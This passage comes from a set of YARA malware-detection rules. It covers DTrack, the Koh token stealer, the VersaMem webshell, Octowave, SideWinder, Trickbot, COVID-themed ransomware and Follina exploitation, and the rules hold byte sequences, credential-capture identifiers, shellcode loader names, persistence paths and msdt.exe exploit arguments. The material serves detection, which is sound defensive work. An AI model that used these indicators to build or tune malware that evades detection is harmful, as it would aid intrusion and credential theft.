		$sequence_13 = { 8b cf e8 ?? ?? ?? ?? 48 8b 7c 24 48 85 c0 0f 84 40 03 00 00 48 8d 05 60 25 01 00 }
		$sequence_14 = { ff 15 ?? ?? ?? ?? 8b 05 ?? ?? ?? ?? 23 05 ?? ?? ?? ?? ba 02 00 00 00 33 c9 89 05 ?? ?? ?? ?? 8b 05 ?? ?? ?? ?? }
		$sequence_15 = { 48 83 ec 30 49 8b d8 e8 ?? ?? ?? ?? 48 8b c8 48 85 c0 }
	condition:
		filesize < 600KB and 7 of them
}

rule SIGNATURE_BASE_MAL_APT_NK_WIN_Dtrack_Auto : FILE
{
	meta:
		description = "Detects DTrack variant used by Andariel"
		author = "CISA.gov"
		id = "1b40c685-beba-50fa-b484-c1526577cb23"
		date = "2024-07-25"
		modified = "2026-01-29"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_nk_andariel_jul24.yar#L567-L706"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2bd68ee6e5f35a9b80c07120beba3fe1f3ba9a9137ee15bb04bb2740381a9a44"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$sequence_0 = { 52 8b 45 08 50 e8 ?? ?? ?? ?? 83 c4 14 8b 4d 10 51 }
		$sequence_1 = { 3a 41 01 75 23 83 85 4c f6 ff ff 02 83 85 50 f6 ff ff 02 80 bd 4a f6 ff ff 00 75 ae c7 85 44 f6 ff ff 00 00 00 00 }
		$sequence_2 = { 50 ff 15 ?? ?? ?? ?? a3 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 04 50 }
		$sequence_3 = { 8d 8d d4 fa ff ff 51 e8 ?? ?? ?? ?? 83 c4 08 8b 15 ?? ?? ?? ?? }
		$sequence_4 = { 88 55 f5 6a 5c 8b 45 0c 50 e8 ?? ?? ?? ?? }
		$sequence_5 = { 51 e8 ?? ?? ?? ?? 83 c4 10 8b 55 8c 52 }
		$sequence_6 = { 8b 4d 0c 51 68 ?? ?? ?? ?? 8d 95 60 ea ff ff 52 e8 ?? ?? ?? ?? }
		$sequence_7 = { 83 c0 01 89 45 f4 83 7d f4 20 7d 2c 8b 4d f8 }
		$sequence_8 = { 83 c0 01 89 85 6c f6 ff ff 8b 8d 70 f6 ff ff 8a 11 }
		$sequence_9 = { 03 55 f0 0f b6 02 0f b6 4d f7 33 c1 0f b6 55 fc 33 c2 }
		$sequence_10 = { d1 e9 89 4d f8 8b 55 18 89 55 fc c7 45 f0 00 00 00 00 }
		$sequence_11 = { 8b 4d f0 3b 4d 10 0f 8d 90 00 00 00 8b 55 08 03 55 f0 0f b6 02 }
		$sequence_12 = { 89 4d 14 8b 45 f8 c1 e0 18 8b 4d fc c1 e9 08 0b c1 }
		$sequence_13 = { 0b c1 89 45 18 8b 55 14 89 55 f8 }
		$sequence_14 = { 8b 55 14 89 55 f8 8b 45 18 89 45 fc e9 ?? ?? ?? ?? 8b e5 }
	condition:
		filesize < 1700KB and 7 of them
}

rule SIGNATURE_BASE_HKTL_Koh_Tokenstealer : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project."
		author = "Will Schroeder (@harmj0y)"
		id = "76b6cc9f-5db7-5e9b-939c-e713bad8137a"
		date = "2022-07-09"
		modified = "2023-12-05"
		reference = "https://github.com/GhostPack/Koh"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_hktl_koh_tokenstealer.yar#L2-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e2c4d948e23f1a3a92689f35fedde6e041d09cd88deac9ff3249556be0b8f789"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x_typelibguid = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii
		$s1 = "[*] Already SYSTEM, not elevating" wide fullword
		$s2 = "S-1-[0-59]-\\d{2}-\\d{8,10}-\\d{8,10}-\\d{8,10}-[1-9]\\d{2}" wide
		$s3 = "0x[0-9A-Fa-f]+$" wide
		$s4 = "\\Koh.pdb" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 1 of ( $x* ) or 3 of them
}


rule SIGNATURE_BASE_WEBSHELL_JAVA_Versamem_JAR_Aug24_1 : FILE
{
	meta:
		description = "Detects VersaMem Java webshell samples (as used by Volt Typhoon)"
		author = "blacklotuslabs (modified by Florian Roth and X__Junior)"
		id = "9b666e61-cfa8-58b3-a362-772cd907c57c"
		date = "2024-08-27"
		modified = "2024-08-29"
		reference = "https://x.com/ryanaraine/status/1828440883315999117"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_volttyphoon_versamem.yar#L2-L24"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d21558eb6c8e700b8a4cb86fdaa5487179828152af68828e878397859d6d3952"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$sa1 = "com.versa.vnms.ui.TestMain"
		$sa2 = "captureLoginPasswordCode"
		$sa3 = "com/versa/vnms/ui/services/impl/VersaAuthenticationServiceImpl"
		$sa4 = "/tmp/.temp.data"
		$sa5 = "getInsertCode"
		$sa6 = "VersaMem"
		$sa7 = "Versa-Auth"
		$sb1 = "/tmp/.java_pid"
		$sb2 = {2f 75 73 72 2f 62 69 6e 2f 70 67 72 65 70 01 00 02 2d 66 01 00 25 6f 72 67 2e 61 70 61 63 68 65 2e 63 61 74 61 6c 69 6e 61 2e 73 74 61 72 74 75 70 2e 42 6f 6f 74 73 74 72 61 70 07}
	condition:
		filesize < 5MB and ( 3 of them or all of ( $sb* ) )
}

rule SIGNATURE_BASE_MAL_Fake_Document_Software_Indicators_Nov23 : FILE
{
	meta:
		description = "Detects indicators of fake document/image utility software that acts as a downloader for additional malware"
		author = "Jonathan Peters"
		id = "231474cd-1ec9-5738-bf48-ef707689056d"
		date = "2023-11-13"
		modified = "2024-04-24"
		reference = "https://nochlab.blogspot.com/2023/09/net-in-javascript-fake-pdf-converter.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_fake_document_software.yar#L1-L20"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5f0a088bf672559fbac90313768d41b79be7f1f56c6ddb36f0dcd265a07f98b2"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "ac5356ae011effb9d401bf428c92a48cf82c9b61f4c24a29a9718e3379f90f1d"
		hash2 = "d1c29c2243c511ca3264ad568a6be62f374e104b903eca93debce6691e1c5007"
	strings:
		$ = "tweakscode.com" wide
		$ = "www.createmygif.com" wide
		$ = "www.videownload.com" wide
		$ = "www.pdfconverterz.com" wide
		$ = "www.pdfconvertercompare.com" wide
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule SIGNATURE_BASE_Octowave_Loader_03_2025 : FILE
{
	meta:
		description = "Detects opcodes found in Octowave loader DLLs and WAV steganography files"
		author = "Jai Minton (@CyberRaiju) - HuntressLabs"
		id = "d583c416-be20-5fcf-848e-edd037e3b0d4"
		date = "2025-03-19"
		modified = "2025-03-21"
		reference = "https://yaratoolkit.securitybreak.io/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_octowave_loader_mar25.yar#L1-L285"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "266568d5f0f95cc805a833745a9e63689234ae927c2903230438c080f7ec2e56"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		hash1 = "0504BFBACB6E10B81196F625F2FE37B33500E7BF65FD82D3510A2B178C6CD5BD"
		hash2 = "3A2DB0CB9EE01549A6B660D58115D112D36A744D65705394B54D7D95287C7A74"
		hash3 = "EB50D06057FE123D6E9F7A76D3D1A4BC5307E8F15D017BE8F6031E92136CF36A"
		hash4 = "24715920E749B014BA05F74C96627A27355C5860A14461C106AA48A7ABA371EA"
	strings:
		$opcode_1 = {
			55
			8B EC
			56
			57
			8B D1
			33 C0
			8B FA
			6A 06
			59
			AB
			AB
			AB
			AB
			8B 45 08
			8B FA
			83 62 10 00
			8B F0
			83 62 14 00
			F3 A5
			83 60 10 00
		}
		$opcode_2 = {
			55
			8B EC
			8B 55 ??
			56
			8B F1
			8B 46 ??
			8B 4E ??
			2B C1
			3B D0
			77 ??
			83 7E ?? 07
			53
			8D 1C 11
			57
			89 5E ??
			8B FE
			76 ??
			8B 3E
			8D 04 12
			50
			FF 75 ??
			8D 0C 4F
			51
			E8 ?? ?? ?? ??
			83 C4 0C
			33 C0
			66 89 04 5F
			8B C6
			5F
			5B
			EB ??
			52
			FF 75 ??
			8B CE
			FF 75 ??
			52
			E8 ?? ?? ?? ??
			5E
			5D
			C2 08 00
		}
		$opcode_3 = {
			55
			8B EC
			8B 4D 08
			83 C9 ??
			56
			3B 4D 10
			77 1C
			8B 75 0C
			8B D6
			8B 45 10
			D1 EA
			2B C2
			3B F0
			77 0C
			8D 04 32
			3B C8
			0F 42 C8
			8B C1
			EB 03
		}
		$opcode_4 = {
			56
			8B F1
			8B 46 14
			83 F8 ??
			76 ??
		}
		$opcode_5 = {
			50
			FF 36
			E8 ?? ?? ?? ??
			59
			59
			83 66 ?? 00
		}
		$opcode_6 = {
			C7 46 14 ?? 00 00 00
			66 89 06
			5E
			C3
		}
		$opcode_7 = {
			55
			8B EC
			51
			51
			A1 ?? ?? ?? ??
			33 C5
			89 45 FC
			8B 4D 0C
			8B 45 08
			89 45 F8
			81 F9 00 10 00 00
			72 ??
			8D 45 0C
			50
			8D 45 F8
			50
			E8 ?? ?? ?? ??
			8B 45 F8
			59
			59
		}
	condition:
		( uint16( 0 ) == ( 0x5a4d ) or uint32( 0 ) == 0x46464952 ) and filesize < 50000KB and all of them
}

rule SIGNATURE_BASE_Octowave_Loader_Supporting_File_03_2025 : FILE
{
	meta:
		description = "Detects supporting file used by Octowave loader containing hardcoded values"
		author = "Jai Minton (@CyberRaiju) - HuntressLabs"
		id = "2c81c8b8-4b4d-55c9-9285-556e8b5303bd"
		date = "2025-03-19"
		modified = "2025-03-21"
		reference = "https://x.com/CyberRaiju/status/1893450184224362946?t=u0X6ST2Qgnrf-ujjphGOSg&s=19"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_octowave_loader_mar25.yar#L287-L312"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "42abd38e704a17ef81b423829c2dd356749873a5d036e43cc2746debfb3f5434"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		hash1 = "C4CBAA7E4521FA0ED9CC634C5E2BACBF41F46842CA4526B7904D98843A7E9DB9"
		hash2 = "F5CFB2E634539D5DC7FFE202FFDC422EF7457100401BA1FBC21DD05558719865"
		hash3 = "56F1967F7177C166386D864807CDF03D5BBD3F118A285CE67EA226D02E5CF58C"
		hash4 = "11EE5AD8A81AE85E5B7DDF93ADF6EDD20DE8460C755BF0426DFCBC7F658D7E85"
		hash5 = "D218B65493E4D9D85CBC2F7B608F4F7E501708014BC04AF27D33D995AA54A703"
		hash6 = "0C112F9DFE27211B357C74F358D9C144EA10CC0D92D6420B8742B72A65562C5A"
	strings:
		$unique_key = {1D 1C 1F 1E 01 01 03 02 05 04 07 06 09 D4 0E 0A 0D 0C 0F 0E 31 30 31 32 35 34 36 36 39 38 DC 3F 3D 3C 3E}
		$unique_string = "MLONqpsrutwvyx"
		$unique_string2 = "A@CBEDGFIHKJMLONqpsrutwvyx"
	condition:
		uint16( 0 ) != 0x5a4d and filesize < 10000KB and all of them
}

rule SIGNATURE_BASE_APT_Sidewinder_NET_Loader_Aug_2020_1_1 : FILE
{
	meta:
		description = "Detected the NET loader used by SideWinder group (August 2020)"
		author = "Arkbird_SOLG"
		id = "61d96e2a-3a43-586f-85bc-a2c53b1318e6"
		date = "2020-08-24"
		modified = "2023-12-05"
		reference = "https://twitter.com/ShadowChasing1/status/1297902086747598852"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sidewinder.yar#L4-L22"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5ee7029143c589f26e6c325e163bfac85507c950f09778bd51ec2bdf4d4263fa"
		score = 75
		quality = 83
		tags = "FILE"
		hash1 = "4a0947dd9148b3d5922651a6221afc510afcb0dfa69d08ee69429c4c75d4c8b4"
	strings:
		$a1 = "DUSER.dll" fullword wide
		$s1 = "UHJvZ3JhbQ==" fullword wide
		$s2 = "U3RhcnQ=" fullword wide
		$s3 = ".tmp           " fullword wide
		$s4 = "FileRipper" fullword ascii
		$s5 = "copytight @" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4KB and $a1 and 3 of ( $s* )
}

rule SIGNATURE_BASE_APT_MAL_Sidewinder_Implant : FILE
{
	meta:
		description = "Detects SideWinder final payload"
		author = "AT&T Alien Labs"
		id = "3a420c9c-7821-5405-8d4d-6931d0f311ba"
		date = "2020-08-25"
		modified = "2023-12-05"
		reference = "https://cybersecurity.att.com/blogs/labs-research/a-global-perspective-of-the-sidewinder-apt"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sidewinder.yar#L24-L50"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "bfad86dbdc04463e7e4cc126fd05fc9107617a7ea1bd3f283c0e0170862bd59b"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "c568238dcf1e30d55a398579a4704ddb8196b685"
	strings:
		$code = { 1B 30 05 00 C7 00 00 00 00 00 00 00 02 28 03 00
               00 06 7D 12 00 00 04 02 02 FE 06 23 00 00 06 73
               5B 00 00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A
               7D 13 00 00 04 02 02 FE 06 24 00 00 06 73 5B 00
               00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A 7D 15
               00 00 04 02 7B 12 00 00 04 6F 0E 00 00 06 2C 1D
               02 28 1F 00 00 06 02 7B 12 00 00 04 16 6F 0F 00
               00 06 02 7B 12 00 00 04 6F 06 00 00 06 02 7B 12
               00 00 04 6F 10 00 00 06 2C 23 02 28 20 00 00 06
               02 28 21 00 00 06 02 7B 12 00 00 04 16 }
		$strings = { 
         2E 00 73 00 69 00 66 00 00 09 2E 00 66 00 6C 00
         63 00 00 1B 73 00 65 00 6C 00 65 00 63 00 74 00
         65 00 64 00 46 00 69 00 6C 00 65 00 73
      }
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SIGNATURE_BASE_MAL_Trickbot_Oct19_1 : FILE
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		id = "b428cbf9-0796-5a01-9b98-28e1bc6827cc"
		date = "2019-10-02"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_trickbot.yar#L3-L22"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fef15c0bda6dc2b28f34791da3ca68a03f7368b63ead17e631a2d4f05d1b40e2"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
		hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
		hash3 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
	strings:
		$s1 = "Celestor@hotmail.com" fullword ascii
		$s2 = "\\txtPassword" ascii
		$s14 = "Invalid Password, try again!" fullword wide
		$op1 = { 78 c4 40 00 ff ff ff ff b4 47 41 }
		$op2 = { 9b 68 b2 34 46 00 eb 14 8d 55 e4 8d 45 e8 52 50 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and 3 of them
}

rule SIGNATURE_BASE_MAL_Trickbot_Oct19_2 : FILE
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		id = "2ff69a51-d089-53e5-ab19-4fbdf20f90f8"
		date = "2019-10-02"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_trickbot.yar#L24-L38"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "185e59c156218b418bec0c94144b19639c17e3a9595d993e3761eae15379f9fb"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
		hash2 = "d75561a744e3ed45dfbf25fe7c120bd24c38138ac469fd02e383dd455a540334"
	strings:
		$x1 = "C:\\Users\\User\\Desktop\\Encrypt\\Math_Cad\\Release\\Math_Cad.pdb" fullword ascii
		$x2 = "AxedWV3OVTFfnGb" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and 1 of them
}


rule SIGNATURE_BASE_MAL_Trickbot_Oct19_4 : FILE
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		id = "dcadaa50-52ae-5ded-b40e-149f28092093"
		date = "2019-10-02"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_trickbot.yar#L58-L77"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c109510d86260b4173bbbac5fe69936acb109e7fdbe71fbe2955e5ed85f5cd85"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "25a4ae2a1ce6dbe7da4ba1e2559caa7ed080762cf52dba6c8b55450852135504"
		hash2 = "e92dd00b092b435420f0996e4f557023fe1436110a11f0f61fbb628b959aac99"
		hash3 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
		hash4 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
	strings:
		$x1 = "c:\\users\\user\\documents\\visual studio 2005\\projects\\adzxser\\release\\ADZXSER.pdb" fullword ascii
		$x2 = "http://root-hack.org" fullword ascii
		$x3 = "http://hax-studios.net" fullword ascii
		$x4 = "5OCFBBKCAZxWUE#$_SVRR[SQJ" fullword ascii
		$x5 = "G*\\AC:\\Users\\911\\Desktop\\cButtonBar\\cButtonBar\\ButtonBar.vbp" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and 1 of them
}

rule SIGNATURE_BASE_MAL_Trickbot_Oct19_5 : FILE
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		id = "b3034f0c-5fd9-58a2-866f-9100e3a56f39"
		date = "2019-10-02"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_trickbot.yar#L79-L96"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e304b236dd58faa0e6fdd73bc93c24f6ff0ec6c1f9a54b104f8e87441834e22b"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
		hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
		hash3 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
		hash4 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
	strings:
		$s1 = "LoadShellCode" fullword ascii
		$s2 = "pShellCode" fullword ascii
		$s3 = "InitShellCode" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and 2 of them
}

rule SIGNATURE_BASE_MAL_Trickbot_Oct19_6 : FILE
{
	meta:
		description = "Detects Trickbot malware"
		author = "Florian Roth (Nextron Systems)"
		id = "5feb8d34-4974-5315-a5f9-79a3fac83d1d"
		date = "2019-10-02"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_trickbot.yar#L98-L115"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "599b1f56483f4ea267595b90dd4ef93b7e2147e4a0d8449cdd9d2539a96c3f79"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
		hash2 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
	strings:
		$x1 = "D:\\MyProjects\\spreader\\Release\\ssExecutor_x86.pdb" fullword ascii
		$s1 = "%s\\appdata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\%s" fullword ascii
		$s2 = "%s\\appdata\\roaming\\%s" fullword ascii
		$s3 = "WINDOWS\\SYSTEM32\\TASKS" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 400KB and ( 1 of ( $x* ) or 3 of them )
}

rule SIGNATURE_BASE_MAL_RANSOM_COVID19_Apr20_1 : FILE
{
	meta:
		description = "Detects ransomware distributed in COVID-19 theme"
		author = "Florian Roth (Nextron Systems)"
		id = "fc723d1f-e969-5af6-af57-70d00bf797f4"
		date = "2020-04-15"
		modified = "2023-12-05"
		reference = "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_covid_ransom.yar#L2-L20"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9b32ce1dff9d27c5f7541de97cd1198b0d837a69ee260b327c66a22ca6f30091"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "2779863a173ff975148cb3156ee593cb5719a0ab238ea7c9e0b0ca3b5a4a9326"
	strings:
		$s1 = "/savekey.php" wide
		$op1 = { 3f ff ff ff ff ff 0b b4 }
		$op2 = { 60 2e 2e 2e af 34 34 34 b8 34 34 34 b8 34 34 34 }
		$op3 = { 1f 07 1a 37 85 05 05 36 83 05 05 36 83 05 05 34 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and 2 of them
}

rule SIGNATURE_BASE_SUSP_PS1_Msdt_Execution_May22 : CVE_2022_30190 FILE
{
	meta:
		description = "Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation"
		author = "Nasreddine Bencherchali, Christian Burkard"
		id = "d48d9ac9-7d3e-51c9-b017-22829ae5ecfd"
		date = "2022-05-31"
		modified = "2025-03-21"
		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_doc_follina.yar#L2-L36"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9b8a061de4210d23e58b5190a300ee331273fc98f357156a0bb1d79f9f2b49b1"
		score = 65
		quality = 85
		tags = "CVE-2022-30190, FILE"
	strings:
		$a = "PCWDiagnostic" ascii wide fullword
		$sa1 = "msdt.exe" ascii wide
		$sa2 = "msdt " ascii wide
		$sa3 = "ms-msdt" ascii wide
		$sb1 = "/af " ascii wide
		$sb2 = "-af " ascii wide
		$sb3 = "IT_BrowseForFile=" ascii wide
		$fp1 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00
               46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00
               00 00 70 00 63 00 77 00 72 00 75 00 6E 00 2E 00
               65 00 78 00 65 00 }
		$fp2 = "FilesFullTrust" wide
		$fp3 = "Cisco Spark" ascii wide
		$fp4 = "author: " ascii
	condition:
		filesize < 10MB and $a and 1 of ( $sa* ) and 1 of ( $sb* ) and not 1 of ( $fp* ) and not uint8( 0 ) == 0x7B
}

rule SIGNATURE_BASE_SUSP_Doc_Wordxmlrels_May22 : CVE_2022_30190 FILE
{
	meta:
		description = "Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation"
		author = "Tobias Michalski, Christian Burkard, Wojciech Cieslak"
		id = "304c4816-b2f6-5319-9fe9-8f74bdb82ad0"
		date = "2022-05-30"
		modified = "2022-06-20"
		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_doc_follina.yar#L38-L60"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0"
		logic_hash = "c9846f8c2c1724792de14ab4de0064f951a8faaf01cc27d873e600f29d59c842"
		score = 70
		quality = 85
		tags = "CVE-2022-30190, FILE"
	strings:
		$a1 = "<Relationships" ascii
		$a2 = "TargetMode=\"External\"" ascii
		$x1 = ".html!" ascii
		$x2 = ".htm!" ascii
		$x3 = "%2E%68%74%6D%6C%21" ascii
		$x4 = "%2E%68%74%6D%21" ascii
	condition:
		filesize < 50KB and all of ( $a* ) and 1 of ( $x* )
}

rule SIGNATURE_BASE_SUSP_Doc_RTF_Ole2Link_EMAIL_Jun22 : FILE
{
	meta:
		description = "Detects a suspicious pattern in RTF files which downloads external resources inside e-mail attachments"
		author = "Christian Burkard"
		id = "48cde505-3ce4-52ef-b338-0c08ac4f63de"
		date = "2022-06-01"
		modified = "2025-03-21"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_doc_follina.yar#L133-L192"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "4abc20e5130b59639e20bd6b8ad759af18eb284f46e99a5cc6b4f16f09456a68"
		logic_hash = "fcbb3e32762f8c67b5b226e8095b767d630f8c118521a82fc22f9a3cc272b794"
		score = 75
		quality = 83
		tags = "FILE"
	strings:
		$sa1 = "XG9iamRhdG" ascii
		$sa2 = "xvYmpkYXRh" ascii
		$sa3 = "cb2JqZGF0Y" ascii
		$sb1 = "NGY0YzQ1MzI0YzY5NmU2Y" ascii
		$sb2 = "RmNGM0NTMyNGM2OTZlNm" ascii
		$sb3 = "0ZjRjNDUzMjRjNjk2ZTZi" ascii
		$sb4 = "NEY0QzQ1MzI0QzY5NkU2Q" ascii
		$sb5 = "RGNEM0NTMyNEM2OTZFNk" ascii
		$sb6 = "0RjRDNDUzMjRDNjk2RTZC" ascii
		$sc1 = "ZDBjZjExZTBhMWIxMWFlM" ascii
		$sc2 = "QwY2YxMWUwYTFiMTFhZT" ascii
		$sc3 = "kMGNmMTFlMGExYjExYWUx" ascii
		$sc4 = "RDBDRjExRTBBMUIxMUFFM" ascii
		$sc5 = "QwQ0YxMUUwQTFCMTFBRT" ascii
		$sc6 = "EMENGMTFFMEExQjExQUUx" ascii
		$x1 = "NjgwMDc0MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
		$x2 = "Y4MDA3NDAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
		$x3 = "2ODAwNzQwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
		$x4 = "NjgwMDc0MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
		$x5 = "Y4MDA3NDAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii
		$x6 = "2ODAwNzQwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
		$x7 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzYTAwMmYwMDJmMD" ascii
		$x8 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM2EwMDJmMDAyZjAw" ascii
